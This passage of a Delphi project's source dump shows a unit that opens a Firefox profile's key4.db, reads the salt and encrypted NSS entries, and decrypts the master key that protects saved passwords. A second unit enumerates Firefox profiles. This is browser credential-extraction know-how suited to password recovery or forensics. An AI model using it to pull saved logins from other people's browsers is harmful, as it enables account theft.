506 | FinallyKey := NssA11PBE.Decrypt(MetaItem1);
507 |
508 | // Verify key length
509 | if Length(FinallyKey) < 24 then
510 | raise EMasterKeyError.Create('Length of final key is less than 24 bytes');
511 |
512 | // Return first 24 bytes
513 | SetLength(Result, 24);
514 | Move(FinallyKey[0], Result[0], 24);
515 |
516 | // Debug output - convert to hex string
517 | var HexStr := '';
518 | for var I := 0 to 23 do
519 | HexStr := HexStr + IntToHex(Result[I], 2);
520 |
521 | except
522 | on E: Exception do
523 | raise EMasterKeyError.CreateFmt('Process master key error: %s', [E.Message]);
524 | end;
525 | end;
526 |
527 | { TMasterKeyHelper }
528 |
529 | constructor TMasterKeyHelper.Create(const AProfilePath: string);
530 | begin
531 | inherited Create;
532 | FProfilePath := AProfilePath;
533 | FSQLiteConnection := TUniConnection.Create(nil);
534 | FSQLiteConnection.ProviderName := 'SQLite';
535 | end;
536 |
537 | destructor TMasterKeyHelper.Destroy;
538 | begin
539 | FSQLiteConnection.Free;
540 | inherited;
541 | end;
542 |
543 | function TMasterKeyHelper.GetMasterKey: TBytes;
544 | var
545 | Query: TUniQuery;
546 | MetaItem1, MetaItem2, NSSA11, NSSA102: TBytes;
547 | begin
548 | FSQLiteConnection.Database := TPath.Combine(FProfilePath, 'key4.db');
549 | try
550 | FSQLiteConnection.Connect;
551 |
552 | Query := TUniQuery.Create(nil);
553 | try
554 | Query.Connection := FSQLiteConnection;
555 |
556 | // Get metadata items
557 | Query.SQL.Text := 'SELECT CAST(item1 as BLOB) as item1, CAST(item2 as BLOB) as item2 ' +
558 | 'FROM metaData WHERE id = "password"';
559 | Query.Open;
560 | if not Query.IsEmpty then
561 | begin
562 | MetaItem1 := Query.FieldByName('item1').AsBytes;
563 | FGlobalSalt := MetaItem1; // Store GlobalSalt
564 | MetaItem2 := Query.FieldByName('item2').AsBytes;
565 | end
566 | else
567 | WriteLn('Debug: No metadata found');
568 |
569 | // Get NSS items
570 | Query.SQL.Text := 'SELECT CAST(a11 as BLOB) as a11, CAST(a102 as BLOB) as a102 ' +
571 | 'FROM nssPrivate';
572 | Query.Open;
573 | if not Query.IsEmpty then
574 | begin
575 | NSSA11 := Query.FieldByName('a11').AsBytes;
576 | NSSA102 := Query.FieldByName('a102').AsBytes;
577 | end
578 | else
579 | WriteLn('Debug: No NSS items found');
580 |
581 | Result := ProcessMasterKey(MetaItem1, MetaItem2, NSSA11, NSSA102);
582 | except
583 | on E: Exception do
584 | begin
585 | WriteLn(Format('Debug: Error in GetMasterKey: %s', [E.Message]));
586 | raise;
587 | end;
588 | end;
589 | finally
590 | Query.Free;
591 | end;
592 | end;
593 |
594 |
595 | end.
596 |
597 |
--------------------------------------------------------------------------------
/src/firefox/FirefoxProfiles.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxProfiles;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IniFiles, System.IOUtils;
7 |
8 | type
9 | TFirefoxProfile = record
10 | Name: string;
11 | Path: string;
12 | end;
13 | TFirefoxProfiles = array of TFirefoxProfile;
14 |
15 | function GetFirefoxProfiles: TFirefoxProfiles;
16 | procedure ListProfiles;
17 | function SelectProfile(ProfileChoice: Integer = 0): string;
18 |
19 | implementation
20 |
21 | function GetFirefoxProfiles: TFirefoxProfiles;
22 | var
23 | IniFile: TIniFile;
24 | IniPath: string;
25 | Sections: TStringList;
26 | i: Integer;
27 | ProfilePath: string;
28 | begin
29 | SetLength(Result, 0);
30 | IniPath := TPath.Combine(GetEnvironmentVariable('APPDATA'),
31 | 'Mozilla\Firefox\profiles.ini');
32 |
33 | if not FileExists(IniPath) then
34 | begin
35 | WriteLn('profiles.ini not found at: ', IniPath);
36 | Exit;
37 | end;
38 |
39 | Sections := TStringList.Create;
40 | IniFile := TIniFile.Create(IniPath);
41 | try
42 | IniFile.ReadSections(Sections);
43 | for i := 0 to Sections.Count - 1 do
44 | begin
45 | if Copy(Sections[i], 1, 7) = 'Profile' then
46 | begin
47 | ProfilePath := IniFile.ReadString(Sections[i], 'Path', '');
48 | if ProfilePath <> '' then
49 | begin
50 | SetLength(Result, Length(Result) + 1);
51 | Result[High(Result)].Name := ProfilePath;
52 | // Fix path separator
53 | ProfilePath := StringReplace(ProfilePath, '/', '\', [rfReplaceAll]);
54 | Result[High(Result)].Path := TPath.Combine(ExtractFilePath(IniPath),
55 | ProfilePath);
56 | end;
57 | end;
58 | end;
59 | finally
60 | IniFile.Free;
61 | Sections.Free;
62 | end;
63 | end;
64 |
65 |
66 | procedure ListProfiles;
67 | var
68 | Profiles: TFirefoxProfiles;
69 | i: Integer;
70 | begin
71 | Profiles := GetFirefoxProfiles;
72 | if Length(Profiles) = 0 then
73 | begin
74 | WriteLn('No Firefox profiles found.');
75 | Exit;
76 | end;
77 |
78 | WriteLn('Available Firefox profiles:');
79 | for i := 0 to High(Profiles) do
80 | WriteLn(i + 1, ' -> ', Profiles[i].Name);
81 | end;
82 |
83 | function SelectProfile(ProfileChoice: Integer = 0): string;
84 | var
85 | Profiles: TFirefoxProfiles;
86 | input: string;
87 | begin
88 | Result := '';
89 | Profiles := GetFirefoxProfiles;
90 |
91 | if Length(Profiles) = 0 then
92 | begin
93 | WriteLn('No Firefox profiles found.');
94 | Exit;
95 | end;
96 |
97 | if (ProfileChoice > 0) and (ProfileChoice <= Length(Profiles)) then
98 | begin
99 | Result := Profiles[ProfileChoice - 1].Path;
100 | Exit;
101 | end;
102 |
103 | WriteLn('Select the Mozilla profile:');
104 | for var i := 0 to High(Profiles) do
105 | WriteLn(i + 1, ' -> ', Profiles[i].Name);
106 |
107 | while True do
108 | begin
109 | Write('Profile number (1-', Length(Profiles), '): ');
110 | ReadLn(input);
111 | if TryStrToInt(input, ProfileChoice) and (ProfileChoice >= 1) and
112 | (ProfileChoice <= Length(Profiles)) then
113 | begin
114 | Result := Profiles[ProfileChoice - 1].Path;
115 | Break;
116 | end;
117 | WriteLn('Invalid selection. Please try again.');
118 | end;
119 | end;
120 |
121 | end.
122 |
--------------------------------------------------------------------------------